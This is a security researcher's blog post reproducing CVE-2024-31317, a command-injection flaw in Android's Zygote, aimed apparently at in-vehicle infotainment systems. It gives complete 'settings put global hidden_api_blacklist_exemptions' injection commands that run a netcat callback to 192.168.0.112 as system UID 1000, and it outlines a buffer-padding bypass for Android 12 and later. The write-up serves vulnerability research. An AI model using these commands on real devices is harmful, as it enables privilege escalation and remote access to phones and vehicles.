
CVE-2024-31317
A couple of days ago, I saw an analysis of the CVE-2024-31317 vulnerability posted on JD's official account. After reading it through, I found it quite interesting. Moreover, the current mainstream solutions for automotive IVI (In-Vehicle Infotainment) are all based on Android systems and fall within the limited scope of this vulnerability, so I decided to reproduce it.
Since this is a user-space privilege escalation, we need to first obtain the corresponding user permissions. Therefore, in the context of connected vehicles, there are certain limitations. The current mainstream approach is to restrict APKs with unknown signatures on Android and prevent direct access to engineering mode and ADB. However, when combined with other vulnerabilities or techniques, it is still quite reliable, after all, the System user can do many things. Additionally, it is important to note that this vulnerability requires the WRITE_SECURE_SETTINGS permission. By default, ADB has this permission, which makes it quite convenient to use for privilege escalation after obtaining engineering mode. If ADB cannot be used directly, other vulnerabilities must be leveraged to obtain it.
The vulnerability is a command injection; the overall analysis is not difficult, but before analyzing it, we need to understand Zygote. Zygote runs as a daemon process and can create application processes via fork. It accepts UNIX socket commands on /dev/socket/zygote. Each command starts with a decimal number indicating the number of arguments for that command.
8 [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:
From the diff patch file, it can be seen that the modification added a newline comment, which indirectly proves that in older versions, we could inject commands via newlines to start a new process.

Continuing to trace the function calls upstream, it can be seen that from the initial reading of the HIDDEN_API_BLACKLIST_EXEMPTIONS value through all subsequent passes, there is no filtering. This means we might be able to inject arbitrary parameters directly.

Naturally, we can think that if we can control the value of HIDDEN_API_BLACKLIST_EXEMPTIONS, we can inject our custom parameters. As mentioned earlier, setting this value requires the WRITE_SECURE_SETTINGS permission. ADB has this permission by default, and we can simply use the system's built-in settings command: settings put global hidden_api_blacklist_exemptions command. Therefore, we can attempt to inject a new process with something like the following:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"
However, this does not seem to meet our needs, as we still cannot execute commands. Analysis reveals that the invokeWith parameter can lead to command execution.

Next, it becomes quite simple: we just need to construct a command like the following:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
At this point, we find it cannot be triggered successfully. Checking logcat shows the following information, indicating that debug mode is required. So how can we enable debug mode?

Continuing to examine the code, we see that there is a runtime-flags parameter during startup that configures debug attributes.

The configurable parameters are as follows:

Therefore, we simply need to add this parameter at startup and enable all debug attributes. The modified command is as follows:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
After execution, nc successfully captured the network request.

On Android 11 and below, the above method can be used for simple exploitation. However, starting from Android 12, Google implemented a fast-path C++ command parser to enhance Zygote's Java command parser, using the new class NativeCommandBuffer. After NativeCommandBuffer finishes parsing all command lines, it discards any subsequent content and re-reads the next command from the socket. This means that if we inject two commands through command injection, it will discard our injected content, preventing the injection from occurring. Therefore, a method is needed to bypass the first read() call. The approach here mainly follows the original author's method: insert a large number of commas at the end so that maybeSetApiDenylistExemptions() spends a significant amount of time looping after writing, thereby increasing the time interval. The main logic is that maybeSetApiDenylistExemptions() calls state.mZygoteOutputWriter.write() multiple times, but these calls do not directly map to socket writes because mZygoteOutputWriter inherits from BufferedWriter, which aggregates data in an internal buffer before writing to the underlying transport. This mechanism provides a ready-made way to issue two socket writes with an appropriate delay between them.
The buffer size of BufferedWriter is 8192 bytes, which is much smaller than Zygote's buffer. So we only need to fill it up to 8192 bytes before inserting the malicious injected command, forcing BufferedWriter to write that data first.
I should have written this article long ago, but I kept forgetting due to being busy 😷. Also, I managed to score quite a few points with this vulnerability during the "Cast Net" (铸网) competition. Recently, while working on a testing project that happened to be an Android-based IVI system, I remembered this half-written blog post. I quickly recorded it while I still remembered some details. Additionally, I am very grateful to flanker for the help provided during the reproduction of this vulnerability, which saved me from many pitfalls.